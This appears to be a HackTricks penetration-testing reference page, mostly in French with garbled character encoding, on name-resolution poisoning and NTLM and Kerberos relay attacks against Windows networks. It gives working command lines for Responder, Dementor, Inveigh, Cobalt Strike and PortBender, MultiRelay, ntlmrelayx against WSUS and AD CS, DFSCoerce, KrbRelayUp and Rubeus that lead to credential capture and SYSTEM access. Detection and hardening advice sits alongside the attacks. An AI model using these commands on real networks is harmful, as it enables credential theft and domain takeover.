Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Protocoles réseau
Protocoles de résolution de noms locaux
- LLMNR, NBT-NS, and mDNS:
- Microsoft et autres systĂšmes dâexploitation utilisent LLMNR et NBT-NS pour la rĂ©solution de noms locale lorsque DNS Ă©choue. De mĂȘme, les systĂšmes Apple et Linux utilisent mDNS.
- Ces protocoles sont susceptibles dâinterception et de spoofing en raison de leur nature non authentifiĂ©e et broadcast sur UDP.
- Responder and Dementor peuvent ĂȘtre utilisĂ©s pour usurper des services en envoyant des rĂ©ponses falsifiĂ©es aux hĂŽtes qui interrogent ces protocoles.
- De plus amples informations sur lâusurpation de services utilisant Responder sont disponibles ici.
Web Proxy Auto-Discovery Protocol (WPAD)
- WPAD permet aux navigateurs de découvrir automatiquement les paramÚtres de proxy.
- La découverte se fait via DHCP, DNS, ou par repli sur LLMNR et NBT-NS si DNS échoue.
- Responder peut automatiser les attaques WPAD, dirigeant les clients vers des serveurs WPAD malveillants.
Responder/Dementor for Protocol Poisoning
-
Responder est un outil utilisĂ© pour empoisonner les requĂȘtes LLMNR, NBT-NS et mDNS, rĂ©pondant de maniĂšre sĂ©lective selon le type de requĂȘte, ciblant principalement les services SMB.
-
Il est préinstallé dans Kali Linux, configurable dans
/etc/responder/Responder.conf. -
Responder affiche les hashes capturĂ©s Ă lâĂ©cran et les enregistre dans le rĂ©pertoire
/usr/share/responder/logs. -
Il prend en charge IPv4 et IPv6.
-
Une version Windows de Responder est disponible ici.
-
Dementor Ă©tend les fonctionnalitĂ©s dâempoisonnement multicast et agit en outre comme fournisseur de services malveillant (incluant le support CUPS RCE)
-
La structure générale est similaire à Responder avec une configuration plus granulaire. (le fichier par défaut est ici : Dementor.toml)
-
La compatibilité entre Dementor et Responder est indiquée ici : Compatibility Matrix
-
Intro et documentation ici : Dementor - Docs
-
Corrige les problĂšmes de capture introduits par Responder sur certains protocoles
Lancer Responder
- Pour lancer Responder avec les paramÚtres par défaut :
responder -I <Interface> - Pour des sondages plus agressifs (avec effets secondaires possibles) :
responder -I <Interface> -P -r -v - Techniques pour capturer les challenges/réponses NTLMv1 pour faciliter le cracking :
responder -I <Interface> --lm --disable-ess - Lâusurpation WPAD peut ĂȘtre activĂ©e avec :
responder -I <Interface> --wpad - Les requĂȘtes NetBIOS peuvent ĂȘtre rĂ©solues vers lâIP de lâattaquant, et un proxy dâauthentification peut ĂȘtre mis en place :
responder.py -I <interface> -Pv
Lancer Dementor
- Avec les paramÚtres par défaut :
Dementor -I <interface> - Avec les paramÚtres par défaut en mode analyse :
Dementor -I <interface> -A - Rétrogradation automatique de session NTLM (ESS) :
Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off - Exécuter la session courante avec une config personnalisée :
Dementor -I <interface> --config <file.toml>
DHCP Poisoning with Responder
- Le spoofing des rĂ©ponses DHCP peut empoisonner de façon permanente les informations de routage dâune victime, offrant une alternative plus discrĂšte Ă lâARP poisoning.
- Cela nécessite une connaissance précise de la configuration du réseau cible.
- Lancer lâattaque :
./Responder.py -I eth0 -Pdv - Cette méthode peut capturer efficacement les hashes NTLMv1/2, mais nécessite une manipulation prudente pour éviter la perturbation du réseau.
Capturing Credentials with Responder/Dementor
- Responder/Dementor vont usurper des services utilisant les protocoles mentionnĂ©s ci-dessus, capturant des identifiants (gĂ©nĂ©ralement NTLMv2 Challenge/Response) lorsquâun utilisateur tente de sâauthentifier contre les services usurpĂ©s.
- Des tentatives peuvent ĂȘtre faites pour rĂ©trograder vers NetNTLMv1 ou dĂ©sactiver ESS afin de faciliter le cracking des identifiants.
Il est crucial de noter que lâutilisation de ces techniques doit ĂȘtre effectuĂ©e lĂ©galement et de maniĂšre Ă©thique, avec une autorisation appropriĂ©e et en Ă©vitant toute perturbation ou accĂšs non autorisĂ©.
Inveigh
Inveigh est un outil pour penetration testers and red teamers, conçu pour les systĂšmes Windows. Il offre des fonctionnalitĂ©s similaires Ă Responder, exĂ©cutant du spoofing et des attaques man-in-the-middle. Lâoutil a Ă©voluĂ© dâun script PowerShell vers un binaire C#, avec Inveigh et InveighZero comme principales versions. Les paramĂštres dĂ©taillĂ©s et instructions se trouvent dans le wiki.
Inveigh peut ĂȘtre utilisĂ© via PowerShell:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
Ou exécuté en tant que binaire C# :
Inveigh.exe
NTLM Relay Attack
Cette attaque exploite les sessions dâauthentification SMB pour accĂ©der Ă une machine cible, accordant un shell systĂšme si elle rĂ©ussit. Les prĂ©requis clĂ©s incluent :
- Lâutilisateur authentifiĂ© doit disposer dâun accĂšs Local Admin sur lâhĂŽte relayĂ©.
- SMB signing doit ĂȘtre dĂ©sactivĂ©.
445 Port Forwarding and Tunneling
Dans les scĂ©narios oĂč une introduction rĂ©seau directe nâest pas possible, le trafic sur le port 445 doit ĂȘtre redirigĂ© et tunnelisĂ©. Des outils tels que PortBender aident Ă rediriger le trafic du port 445 vers un autre port, ce qui est essentiel lorsque lâaccĂšs Local Admin est disponible pour le chargement de drivers.
PortBender setup and operation in Cobalt Strike:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
Autres outils pour NTLM Relay Attack
- Metasploit : Configurer avec des proxies, et les dĂ©tails de lâhĂŽte local et distant.
- smbrelayx : Un script Python pour relayer des sessions SMB et exécuter des commandes ou déployer des backdoors.
- MultiRelay : Un outil de la suite Responder pour relayer des utilisateurs spécifiques ou tous les utilisateurs, exécuter des commandes ou dump hashes.
Chaque outil peut ĂȘtre configurĂ© pour fonctionner via un SOCKS proxy si nĂ©cessaire, permettant des attaques mĂȘme avec un accĂšs rĂ©seau indirect.
Fonctionnement de MultiRelay
MultiRelay sâexĂ©cute depuis le rĂ©pertoire /usr/share/responder/tools, en ciblant des adresses IP ou des utilisateurs spĂ©cifiques.
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
Ces outils et techniques constituent un ensemble complet pour effectuer des attaques NTLM Relay dans divers environnements réseau.
Abuser de WSUS HTTP (8530) pour NTLM Relay vers LDAP/SMB/AD CS (ESC8)
WSUS clients sâauthentifient auprĂšs de leur serveur de mise Ă jour en utilisant NTLM sur HTTP (8530) ou HTTPS (8531). Lorsque HTTP est activĂ©, les vĂ©rifications pĂ©riodiques des clients peuvent ĂȘtre coercĂ©es ou interceptĂ©es sur le segment local et relayĂ©es avec ntlmrelayx vers des points de terminaison LDAP/LDAPS/SMB ou AD CS HTTP (ESC8) sans craquer de hachages. Cela se fond dans le trafic de mise Ă jour normal et donne frĂ©quemment des authentifications de comptes-machine (HOST$).
What to look for
- GPO/registry configuration under HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate and âŠ\WindowsUpdate\AU:
- WUServer (e.g., http://wsus.domain.local:8530)
- WUStatusServer (reporting URL)
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
- DetectionFrequencyEnabled and DetectionFrequency (hours)
- WSUS SOAP endpoints used by clients over HTTP:
- /ClientWebService/client.asmx (approvals)
- /ReportingWebService/reportingwebservice.asmx (status)
- Default ports: 8530/tcp HTTP, 8531/tcp HTTPS
Reconnaissance
- Non authentifié
- Scan for listeners: nmap -sSVC -Pn âopen -p 8530,8531 -iL
- Surveillez le trafic HTTP WSUS via un MITM L2 et consignez les clients/endpoints actifs avec wsusniff.py (HTTP seulement Ă moins de pouvoir faire faire confiance Ă votre certificat TLS aux clients).
- Authentifié
- Parse SYSVOL GPOs for WSUS keys with MANSPIDER + regpol (wsuspider.sh wrapper summarises WUServer/WUStatusServer/UseWUServer).
- Query endpoints at scale from hosts (NetExec) or locally:
nxc smb
-u -p -M reg-query -o PATH=âHKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdateâ KEY=âWUServerâ reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
End-to-end HTTP relay steps
-
Position for MITM (same L2) so a client resolves the WSUS server to you (ARP/DNS poisoning, Bettercap, mitm6, etc.). Example with arpspoof: arpspoof -i
-t <wsus_client_ip> <wsus_server_ip> -
Redirect port 8530 to your relay listener (optional, convenient): iptables -t nat -A PREROUTING -p tcp âdport 8530 -j REDIRECT âto-ports 8530 iptables -t nat -L PREROUTING âline-numbers
-
Start ntlmrelayx with the HTTP listener (requires Impacket support for HTTP listener; see PRs below): ntlmrelayx.py -t ldap://
-smb2support -socks âkeep-relaying âhttp-port 8530
Other common targets:
- Relay to SMB (if signing off) for exec/dump: -t smb://
- Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://
- Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT:
ntlmrelayx.py âhttp-port 8530 -t http://
/certsrv/certfnsh.asp âadcs âno-http-server For deeper AD CS abuse paths and tooling, see the AD CS page:
-
Trigger a client check-in or wait for schedule. From a client: wuauclt.exe /detectnow or use the Windows Update UI (Check for updates).
-
Use the authenticated SOCKS sessions (if -socks) or direct relay results for post-exploitation (LDAP changes, SMB ops, or AD CS certificate issuance for later authentication).
HTTPS constraint (8531)
- Lâinterception passive de WSUS via HTTPS est inefficace Ă moins que les clients ne fassent confiance Ă votre certificat. Sans un certificat de confiance ou une autre rupture TLS, la poignĂ©e de main NTLM ne peut pas ĂȘtre rĂ©coltĂ©e/relayĂ©e depuis le trafic WSUS HTTPS.
Notes
- WSUS a été annoncé comme obsolÚte mais reste largement déployé ; HTTP (8530) est encore courant dans de nombreux environnements.
- Outils utiles: wsusniff.py (observer les check-ins WSUS HTTP), wsuspider.sh (énumérer WUServer/WUStatusServer depuis les GPOs), NetExec reg-query à grande échelle.
- Impacket a restauré le support du listener HTTP pour ntlmrelayx dans le PR #2034 (ajout initial dans le PR #913).
Forcer les connexions NTLM
In Windows you may be able to force some privileged accounts to authenticate to arbitrary machines. Read the following page to learn how:
Force NTLM Privileged Authentication
Kerberos Relay attack
A Kerberos relay attack steals an AP-REQ ticket from one service and re-uses it against a second service that shares the same computer-account key (because both SPNs sit on the same $ machine account). This works even though the SPNsâ service classes differ (e.g. CIFS/ â LDAP/) because the key that decrypts the ticket is the machineâs NT hash, not the SPN string itself and the SPN string is not part of the signature.
Unlike NTLM relay, the hop is limited to the same host but, if you target a protocol that lets you write to LDAP, you can chain into Resource-Based Constrained Delegation (RBCD) or AD CS enrollment and pop NT AUTHORITY\SYSTEM in a single shot.
For detailed info about this attack check:
-
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
-
https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/
-
- Kerberos basics
| Token | Purpose | Relay relevance |
|---|---|---|
| TGT / AS-REQ â REP | Prouve lâutilisateur auprĂšs du KDC | inaltĂ©rĂ© |
| Service ticket / TGS-REQ â REP | LiĂ© Ă un SPN ; chiffrĂ© avec la clĂ© du propriĂ©taire du SPN | interchangeable si les SPN partagent le mĂȘme compte |
| AP-REQ | Le client envoie le TGS au service | ce que nous volons et rejouons |
- Les tickets sont chiffrés avec la clé dérivée du mot de passe du compte qui possÚde le SPN.
- LâAuthenticator Ă lâintĂ©rieur de lâAP-REQ contient un horodatage de 5 minutes ; une relecture dans cette fenĂȘtre est valide jusquâĂ ce que le cache du service dĂ©tecte un doublon.
- Windows vérifie rarement si la chaßne SPN dans le ticket correspond au service que vous touchez, donc un ticket pour
CIFS/HOSTse déchiffre normalement bien surLDAP/HOST.
-
- Ce qui doit ĂȘtre vrai pour relayer Kerberos
- Shared key: source and target SPNs belong to the same computer account (default on Windows servers).
- No channel protection: SMB/LDAP signing off and EPA off for HTTP/LDAPS.
- You can intercept or coerce authentication: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, etc..
- Ticket source not already used: you win the race before the real packet hits or block it entirely; otherwise the serverâs replay cache fires Event 4649.
- You need to somehow be able to perform a MitM in the communication maybe being part of the DNSAmins group to modify the DNS of the domain or being able to change the HOST file of the victim.
Kerberos Relay Steps
- 3.1 Recon de lâhĂŽte
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
- 3.2 Démarrer le relay listener
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
KrbRelayUp regroupe KrbRelay â LDAP â RBCD â Rubeus â SCM bypass en un seul binaire.
- 3.3 Coerce Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
DFSCoerce fait en sorte que le DC envoie un ticket Kerberos CIFS/DC01 vers nous.
- 3.4 Relay the AP-REQ
KrbRelay extrait le GSS blob de SMB, le rĂ©emballe dans un LDAP bind, et le transmet Ă ldap://DC01 â lâauthentification rĂ©ussit parce que la mĂȘme clĂ© le dĂ©chiffre.
- 3.5 Abuse LDAP â RBCD â SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
Vous possédez maintenant NT AUTHORITY\SYSTEM.
Autres chemins Ă connaĂźtre
| Vector | Trick | Why it matters |
|---|---|---|
| AuthIP / IPSec | Un faux serveur envoie un GSS-ID payload avec nâimporte quel SPN ; le client construit une AP-REQ directement vers vous | Works even across subnets; machine creds by default |
| DCOM / MSRPC | Un OXID resolver malveillant force le client Ă sâauthentifier sur un SPN et un port arbitraires | Priv-esc purement locale ; contourne le pare-feu |
| AD CS Web Enroll | Relayer le ticket machine vers HTTP/CA et obtenir un cert, puis PKINIT pour mint TGTs | Contourne les protections de signature LDAP |
| Shadow Credentials | Ăcrire msDS-KeyCredentialLink, puis PKINIT avec une paire de clĂ©s forgĂ©e | Pas besoin dâajouter un compte machine |
Dépannage
| Error | Meaning | Fix |
|---|---|---|
KRB_AP_ERR_MODIFIED | ClĂ© du ticket â clĂ© cible | Mauvais hĂŽte/SPN |
KRB_AP_ERR_SKEW | Horloge > 5 min de dĂ©calage | Synchroniser lâheure ou utiliser w32tm |
| LDAP bind fails | Signature requise | Utiliser le chemin AD CS ou désactiver la signature |
| Event 4649 spam | Le service a vu un Authenticator dupliqué | bloquer ou devancer (race) le paquet original |
Détection
- Augmentation des Event 4769 pour
CIFS/,HTTP/,LDAP/provenant de la mĂȘme source en quelques secondes. - Event 4649 sur le service indique une tentative de replay dĂ©tectĂ©e.
- Un logon Kerberos depuis 127.0.0.1 (relay vers le SCM local) est trĂšs suspect â cartographier via une rĂšgle Sigma dans les docs KrbRelayUp.
- Surveiller les modifications des attributs
msDS-AllowedToActOnBehalfOfOtherIdentityoumsDS-KeyCredentialLink.
Durcissement
- Exiger la signature LDAP et SMB + EPA sur chaque serveur.
- SĂ©parer les SPNs afin que HTTP ne soit pas sur le mĂȘme compte que CIFS/LDAP.
- Corriger les vecteurs de coercition (PetitPotam KB5005413, DFS, AuthIP).
- Définir
ms-DS-MachineAccountQuota = 0pour empĂȘcher les jonctions de comptes ordinateurs non autorisĂ©es. - Alerter sur Event 4649 et les logons Kerberos en loopback inattendus.
References
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://intrinium.com/smb-relay-attack-tutorial/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
- WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)
- GoSecure â Abusing WSUS to enable NTLM relaying attacks
- Impacket PR #2034 â Restore HTTP server in ntlmrelayx
- Impacket PR #913 â HTTP relay support
- WSUScripts â wsusniff.py
- WSUScripts â wsuspider.sh
- MS-WSUSOD â Windows Server Update Services: Server-to-Client Protocol
- Microsoft â WSUS deprecation announcement
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.


